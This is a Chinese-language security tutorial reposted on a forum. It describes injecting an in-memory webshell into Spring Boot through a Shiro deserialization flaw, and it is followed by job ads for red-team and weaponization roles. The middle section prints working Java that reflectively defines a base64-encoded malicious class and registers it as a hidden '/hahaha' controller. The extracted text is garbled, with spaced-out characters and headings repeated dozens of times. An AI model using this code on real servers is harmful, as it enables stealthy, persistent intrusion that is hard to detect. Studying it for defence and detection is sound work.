搜索

[6946] 2020-09-26_Springboot内存shell

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-17
2020-09-26_Springboot内存shell S p r i n g b o o t   内 存 s h e l l E 安 全   2 0 2 0 - 0 9 - 2 6 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 q i q i n g 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 1 N o . 1 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 S p r i n g b o o t 是 一 个 开 源 框 架 ， 其 内 嵌 了 一 个 w e b 容 器 ， 当 使 用 s p r i n g b o o t 开 发 一 个 w e b 系 统 后 ， 他 可 以 打 包 成 一 个 j a r 包 ， 直 接 运 行 后 开 启 一 个 w e b 服 务 ， 配 合 n g i n x 进 行 分 布 式 集 群 ， 不 用 依 赖 外 部 给 予 的 w e b 中 间 件 ， 就 算 系 统 中 存 在 文 件 上 传 漏 洞 ， 他 也 没 办 法 解 析 。 在 一 次 项 目 中 ， 遇 到 了 一 个 s p r i n g b o o t 的 反 序 列 化 漏 洞 ， 当 时 只 能 执 行 命 令 ， 目 标 不 出 网 ， 文 件 基 本 没 法 上 传 ， 无 奈 这 个 点 只 能 放 弃 ， 后 续 阅 读 文 章 时 ， 发 现 可 以 用 反 序 列 化 漏 洞 打 入 一 个 内 存 s h e l l 。 N o . 2 N o . 2 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 s p r i n g b o o t   必 要 知 必 要 知 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 识 了 解 S p r i n g   b o o t 的 内 存 s h e l l ， 需 要 先 了 解 启 动 过 程 中 ， s p r i n g   b o o t 是 怎 么 确 定 u r l 和 C o n t r o l l e r 类 的 映 射 关 系 。 N o . 3 N o . 3 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 简 单 分 析 s p r i n g   b o o t 启 动 过 程 中 ， 在 A b s t r a c t H a n d l e r M e t h o d M a p p i n g 的 i n i t H a n d l e r M e t h o d s 方 法 中 ， 获 取 全 部 的 b e a n 再 遍 历 ， 遍 历 的 目 的 是 寻 找 C o n t r o l l e r 类 ， 只 要 是 注 解 有 @ R e s t C o n t r o l l e r 的 b e a n 都 会 进 入 最 后 的 d e t e c t H a n d l e r M e t h o d s ( ) 方 法 进 入 d e t e c t H a n d l e r M e t h o d s ( ) 方 法 ， 在 这 个 方 法 里 ， 首 先 会 查 找 类 中 被 路 由 注 解 修 饰 过 的 方 法   ， 之 后 获 取 注 解 和 u r l 的 映 射 关 系 生 成 R e q u e s t M a p p i n g I n f o 对 象 ， 之 后 将 b e a n ， M e t h o d ， R e q u e s t M a p p i n g I n f o 注 册 进 M a p p i n g R e g i s t r y 在 g e t M a p p i n g F o r M e t h o d ( ) 方 法 中 ， 会 解 析 C o n t r o l l e r 类 的 方 法 中 的 注 解 ， 从 而 生 成 一 个 与 之 对 应 的 R e q u e s t M a p p i n g I n f o 对 象 ， 里 面 保 存 了 访 问 M e t h o d 的 u r l 条 件 最 后 的 r e g i s t e r H a n d l e r M e t h o d ( ) 方 法 就 是 执 行 m a p p i n g R e g i s t r y . r e g i s t e r ( ) 方 法 ， 到 这 里 ， u r l 与 处 理 的 类 之 间 的 映 射 关 系 被 保 存 ， 当 我 们 访 问 u r l 时 ， s p r i n g b o o t 便 知 道 由 哪 个 类 中 的 那 个 方 法 处 理 ， 如 果 我 们 能 创 建 一 个 R e q u e s t M a p p i n g I n f o ， 一 个 处 理 的 类 ， 将 他 们 的 映 射 关 系 保 存 进 m a p p i n g R e g i s t r y ， 内 存 s h e l l 就 能 建 立 在 A b s t r a c t H a n d l e r M e t h o d M a p p i n g 类 中 还 有 一 个 方 法 也 会 进 入 m a p p i n g R e g i s t r y . r e g i s t e r ( ) ， 就 是 r e g u s t e r M a p p i n g 方 法 ， 这 个 方 法 就 是 动 态 添 加 C o n t r o l l e r 的 接 口 ， 在 程 序 过 程 中 ， 只 要 调 用 这 个 接 口 ， 就 能 注 册 一 个 C o n t r o l l e r 类 ， 从 上 面 的 分 析 过 程 可 以 知 道 ， 这 个 接 口 的 使 用 条 件 是 1 ， b e a n 实 例 ， 2 ， 处 理 请 求 的 m e t h o d ， 3 、 对 应 的 R e q u e s t M a p p i n g i n f o 对 象 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
N o . 4 N o . 4 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 实 现 过 程 恶 意 恶 意 c l a s s 加 载 进 加 载 进 J V M 获 取 上 下 文 环 境 获 取 上 下 文 环 境 只 有 在 同 一 个 上 下 文 环 境 才 能 有 效 创 建 创 建 R e q u e s t M a p p i n g I n f o 对 象 对 象 定 义 c o n t r o l l e r 的 u r l 和 访 问 方 法 ， 生 成 R e q u e s t M a p p i n g I n f o 对 象 R e q u e s t M a p p i n g H a n d l e r M a p p i n g 注 册 注 册 c o n t r o l l e r 使 用 r e g i s t e r M a p p i n g ( ) 方 法 注 册 N o . 5 N o . 5 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 实 际 例 子 以 下 使 用 s h i r o 反 序 列 化 漏 洞 演 示 ： 准 备 恶 意 类 先 将 恶 意 类 写 到 目 标 服 务 器 上 将 恶 意 类 注 册 进 j v m B u f f e r e d R e a d e r   r   =   n e w   B u f f e r e d R e a d e r ( n e w   F i l e R e a d e r ( " s h e l l . t x t " ) ) ; S t r i n g   c o d e   =   r . r e a d L i n e ( ) ; b y t e [ ]   d   =   n e w   s u n . m i s c . B A S E 6 4 D e c o d e r ( ) . d e c o d e B u f f e r ( c o d e ) ; j a v a . l a n g . r e f l e c t . M e t h o d   m   =   C l a s s L o a d e r . c l a s s . g e t D e c l a r e d M e t h o d ( " d e f i n e C l a s s " ,   n e w   C l a s s [ ] { S t r i n g . c l a s s ,   b y t e [ ] . c l a s s ,   i n t . c l a s s ,   i n t . c l a s s } ) ; m . s e t A c c e s s i b l e ( t r u e ) ; m . i n v o k e ( T h r e a d . c u r r e n t T h r e a d ( ) . g e t C o n t e x t C l a s s L o a d e r ( ) ,   n e w   O b j e c t [ ] { " o r g . i n l i g h t i n g . u t i l . s h e l l " , d ,   0 ,   d . l e n g t h } ) ; S e r v l e t C o n t e x t   s s s   =   ( ( S e r v l e t R e q u e s t A t t r i b u t e s ) R e q u e s t C o n t e x t H o l d e r . g e t R e q u e s t A t t r i b u t e s ( ) ) . g e t R e q u e s t ( ) . g e t S e s s i o n ( ) . g e t S e r v l e t C o n t e x t ( ) ; W e b A p p l i c a t i o n C o n t e x t   c o n t e x t     =   W e b A p p l i c a t i o n C o n t e x t U t i l s . g e t W e b A p p l i c a t i o n C o n t e x t ( s s s ) ; P a t t e r n s R e q u e s t C o n d i t i o n   u r l   =   n e w   P a t t e r n s R e q u e s t C o n d i t i o n ( " / h a h a h a " ) ; R e q u e s t M e t h o d s R e q u e s t C o n d i t i o n   m s   =   n e w   R e q u e s t M e t h o d s R e q u e s t C o n d i t i o n ( ) ; R e q u e s t M a p p i n g I n f o   i n f o   =   n e w   R e q u e s t M a p p i n g I n f o ( u r l ,   m s ,   n u l l ,   n u l l ,   n u l l ,   n u l l ,   n u l l ) ; R e q u e s t M a p p i n g H a n d l e r M a p p i n g   r s   =   c o n t e x t . g e t B e a n ( R e q u e s t M a p p i n g H a n d l e r M a p p i n g . c l a s s ) ; M e t h o d   m   =   ( C l a s s . f o r N a m e ( " o r g . i n l i g h t i n g . u t i l . s h e l l " ) . g e t D e c l a r e d M e t h o d s ( ) ) [ 0 ] ; r s . r e g i s t e r M a p p i n g ( i n f o ,   C l a s s . f o r N a m e ( " o r g . i n l i g h t i n g . u t i l . s h e l l " ) . n e w I n s t a n c e ( ) ,   m ) ;
注 册 c o n t r o l l e r 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事
安 恒 雷 神 众 测 S R C 运 营 （ 实 习 生 ） — — — — — — — — 【 职 责 描 述 】 1 .     负 责 S R C 的 微 博 、 微 信 公 众 号 等 线 上 新 媒 体 的 运 营 工 作 ， 保 持 用 户 活 跃 度 ， 提 高 站 点 访 问 量 ； 2 .     负 责 白 帽 子 提 交 漏 洞 的 漏 洞 审 核 、 R a n k 评 级 、 漏 洞 修 复 处 理 等 相 关 沟 通 工 作 ， 促 进 审 核 人 员 与 白 帽 子 之 间 友 好 协 作 沟 通 ； 3 .     参 与 策 划 、 组 织 和 落 实 针 对 白 帽 子 的 线 下 活 动 ， 如 沙 龙 、 发 布 会 、 技 术 交 流 论 坛 等 ； 4 .     积 极 参 与 雷 神 众 测 的 品 牌 推 广 工 作 ， 协 助 技 术 人 员 输 出 优 质 的 技 术 文 章 ； 5 .     积 极 参 与 公 司 媒 体 、 行 业 内 相 关 媒 体 及 其 他 市 场 资 源 的 工 作 沟 通 工 作 。 【 任 职 要 求 】     1 .     责 任 心 强 ， 性 格 活 泼 ， 具 备 良 好 的 人 际 交 往 能 力 ；   2 .     对 网 络 安 全 感 兴 趣 ， 对 行 业 有 基 本 了 解 ；   3 .     良 好 的 文 案 写 作 能 力 和 活 动 组 织 协 调 能 力 。 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n 设 计 师 （ 实 习 生 ） — — — — — — — — 【 职 位 描 述 】 负 责 设 计 公 司 日 常 宣 传 图 片 、 软 文 等 与 设 计 相 关 工 作 ， 负 责 产 品 品 牌 设 计 。 【 职 位 要 求 】 1 、 从 事 平 面 设 计 相 关 工 作 1 年 以 上 ， 熟 悉 印 刷 工 艺 ； 具 有 敏 锐 的 观 察 力 及 审 美 能 力 ， 及 优 异 的 创 意 设 计 能 力 ； 有   V I   设 计 、 广 告 设 计 、 画 册 设 计 等 专 长 ； 2 、 有 良 好 的 美 术 功 底 ， 审 美 能 力 和 创 意 ， 色 彩 感 强 ； 精 通 p h o t o s h o p / i l l u s t r a t o r / c o r e l d r e w / 等 设 计 制 作 软 件 ； 3 、 有 品 牌 传 播 、 产 品 设 计 或 新 媒 体 视 觉 工 作 经 历 ； 【 关 于 岗 位 的 其 他 信 息 】 企 业 名 称 ： 杭 州 安 恒 信 息 技 术 股 份 有 限 公 司 办 公 地 点 ： 杭 州 市 滨 江 区 安 恒 大 厦 1 9 楼 学 历 要 求 ： 本 科 及 以 上 工 作 年 限 ： 1 年 及 以 上 ， 条 件 优 秀 者 可 放 宽 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n 安 全 招 聘 — — — — — — — — 公 司 ： 安 恒 信 息 岗 位 ： W e b 安 全   安 全 研 究 员 部 门 ： 战 略 支 援 部 薪 资 ： 1 3 - 3 0 K 工 作 年 限 ： 1 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） 、 广 州 、 成 都 、 上 海 、 北 京 工 作 环 境 ： 一 座 大 厦 ， 健 身 场 所 ， 医 师 ， 帅 哥 ， 美 女 ， 高 级 食 堂 … 【 岗 位 职 责 】 1 . 定 期 面 向 部 门 、 全 公 司 技 术 分 享 ; 2 . 前 沿 攻 防 技 术 研 究 、 跟 踪 国 内 外 安 全 领 域 的 安 全 动 态 、 漏 洞 披 露 并 落 地 沉 淀 ； 3 . 负 责 完 成 部 门 渗 透 测 试 、 红 蓝 对 抗 业 务 ; 4 . 负 责 自 动 化 平 台 建 设 5 . 负 责 针 对 常 见 W A F 产 品 规 则 进 行 测 试 并 落 地 b y p a s s 方 案 【 岗 位 要 求 】 1 . 至 少 1 年 安 全 领 域 工 作 经 验 ； 2 . 熟 悉 H T T P 协 议 相 关 技 术 3 . 拥 有 大 型 产 品 、 C M S 、 厂 商 漏 洞 挖 掘 案 例 ； 4 . 熟 练 掌 握 p h p 、 j a v a 、 a s p . n e t 代 码 审 计 基 础 （ 一 种 或 多 种 ） 5 . 精 通 W e b   F u z z 模 糊 测 试 漏 洞 挖 掘 技 术 6 . 精 通 O W A S P   T O P   1 0 安 全 漏 洞 原 理 并 熟 悉 漏 洞 利 用 方 法 7 . 有 过 独 立 分 析 漏 洞 的 经 验 ， 熟 悉 各 种 W e b 调 试 技 巧
8 . 熟 悉 常 见 编 程 语 言 中 的 至 少 一 种 （ A s p . n e t 、 P y t h o n 、 p h p 、 j a v a ） 【 加 分 项 】 1 . 具 备 良 好 的 英 语 文 档 阅 读 能 力 ； 2 . 曾 参 加 过 技 术 沙 龙 担 任 嘉 宾 进 行 技 术 分 享 ； 3 . 具 有 C I S S P 、 C I S A 、 C S S L P 、 I S O 2 7 0 0 1 、 I T I L 、 P M P 、 C O B I T 、 S e c u r i t y + 、 C I S P 、 O S C P 等 安 全 相 关 资 质 者 ； 4 . 具 有 大 型 S R C 漏 洞 提 交 经 验 、 获 得 年 度 表 彰 、 大 型 C T F 夺 得 名 次 者 ； 5 . 开 发 过 安 全 相 关 的 开 源 项 目 ； 6 . 具 备 良 好 的 人 际 沟 通 、 协 调 能 力 、 分 析 和 解 决 问 题 的 能 力 者 优 先 ； 7 . 个 人 技 术 博 客 ； 8 . 在 优 质 社 区 投 稿 过 文 章 ； 岗 位 ： 安 全 红 队 武 器 自 动 化 工 程 师 薪 资 ： 1 3 - 3 0 K 工 作 年 限 ： 2 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） 【 岗 位 职 责 】 1 . 负 责 红 蓝 对 抗 中 的 武 器 化 落 地 与 研 究 ； 2 . 平 台 化 建 设 ； 3 . 安 全 研 究 落 地 。 【 岗 位 要 求 】 1 . 熟 练 使 用 P y t h o n 、 j a v a 、 c / c + + 等 至 少 一 门 语 言 作 为 主 要 开 发 语 言 ； 2 . 熟 练 使 用 D j a n g o 、 f l a s k   等 常 用 w e b 开 发 框 架 、 以 及 熟 练 使 用 m y s q l 、 m o n g o D B 、 r e d i s 等 数 据 存 储 方 案 ； 3 : 熟 悉 域 安 全 以 及 内 网 横 向 渗 透 、 常 见 w e b 等 漏 洞 原 理 ； 4 . 对 安 全 技 术 有 浓 厚 的 兴 趣 及 热 情 ， 有 主 观 研 究 和 学 习 的 动 力 ； 5 . 具 备 正 向 价 值 观 、 良 好 的 团 队 协 作 能 力 和 较 强 的 问 题 解 决 能 力 ， 善 于 沟 通 、 乐 于 分 享 。 【 加 分 项 】 1 . 有 高 并 发 t c p 服 务 、 分 布 式 等 相 关 经 验 者 优 先 ； 2 . 在 g i t h u b 上 有 开 源 安 全 产 品 优 先 ； 3 : 有 过 安 全 开 发 经 验 、 独 自 分 析 过 相 关 开 源 安 全 工 具 、 以 及 参 与 开 发 过 相 关 后 渗 透 框 架 等 优 先 ； 4 . 在 f r e e b u f 、 安 全 客 、 先 知 等 安 全 平 台 分 享 过 相 关 技 术 文 章 优 先 ； 5 . 具 备 良 好 的 英 语 文 档 阅 读 能 力 。 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n
岗 位 ： 红 队 武 器 化 G o l a n g 开 发 工 程 师 薪 资 ： 1 3 - 3 0 K 工 作 年 限 ： 2 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） 【 岗 位 职 责 】 1 . 负 责 红 蓝 对 抗 中 的 武 器 化 落 地 与 研 究 ； 2 . 平 台 化 建 设 ； 3 . 安 全 研 究 落 地 。 【 岗 位 要 求 】 1 . 掌 握 C / C + + / J a v a / G o / P y t h o n / J a v a S c r i p t 等 至 少 一 门 语 言 作 为 主 要 开 发 语 言 ； 2 . 熟 练 使 用 G i n 、 B e e g o 、 E c h o 等 常 用 w e b 开 发 框 架 、 熟 悉 M y S Q L 、 R e d i s 、 M o n g o D B 等 主 流 数 据 库 结 构 的 设 计 , 有 独 立 部 署 调 优 经 验 ； 3 . 了 解 d o c k e r ， 能 进 行 简 单 的 项 目 部 署 ； 3 . 熟 悉 常 见 w e b 漏 洞 原 理 ， 并 能 写 出 对 应 的 利 用 工 具 ； 4 . 熟 悉 T C P / I P 协 议 的 基 本 运 作 原 理 ； 5 . 对 安 全 技 术 与 开 发 技 术 有 浓 厚 的 兴 趣 及 热 情 ， 有 主 观 研 究 和 学 习 的 动 力 ， 具 备 正 向 价 值 观 、 良 好 的 团 队 协 作 能 力 和 较 强 的 问 题 解 决 能 力 ， 善 于 沟 通 、 乐 于 分 享 。 【 加 分 项 】 1 . 有 高 并 发 t c p 服 务 、 分 布 式 、 消 息 队 列 等 相 关 经 验 者 优 先 ； 2 . 在 g i t h u b 上 有 开 源 安 全 产 品 优 先 ； 3 : 有 过 安 全 开 发 经 验 、 独 自 分 析 过 相 关 开 源 安 全 工 具 、 以 及 参 与 开 发 过 相 关 后 渗 透 框 架 等 优 先 ； 4 . 在 f r e e b u f 、 安 全 客 、 先 知 等 安 全 平 台 分 享 过 相 关 技 术 文 章 优 先 ； 5 . 具 备 良 好 的 英 语 文 档 阅 读 能 力 。 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 干 货 满 满 ！ 2 0 2 0   O P P O 开 发 者 大 会 ： 融 合 共 创 ， 打 造 多 终 端 、 跨 场 景 的 智 能 化 生 活 这 是 真 的 吗 ？ 揭 秘 全 国 网 络 安 宣 传 周 特 别 节 目 — — 利 用 蓝 牙 漏 洞 入 侵 手 机 姓 名 、 出 生 日 期 、 职 务 头 衔 … … 黑 客 泄 露 了 1 0 0 0 名 白 俄 罗 斯 高 级 警 察 的 详 细 信 息 重 磅 ！ 安 恒 信 息 发 布 《 教 育 行 业 网 络 安 全 白 皮 书 》 （ 文 末 获 取 ） 共 窃 取 1 6 8 0 万 美 元 ！ 美 国 司 法 部 对 两 名 俄 罗 斯 黑 客 提 起 诉 讼 ▼ 点 击 “ 阅 读 原 文 ”   查 看 更 多 精 彩 内 容 喜 欢 记 得 打 赏 小 E 哦 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理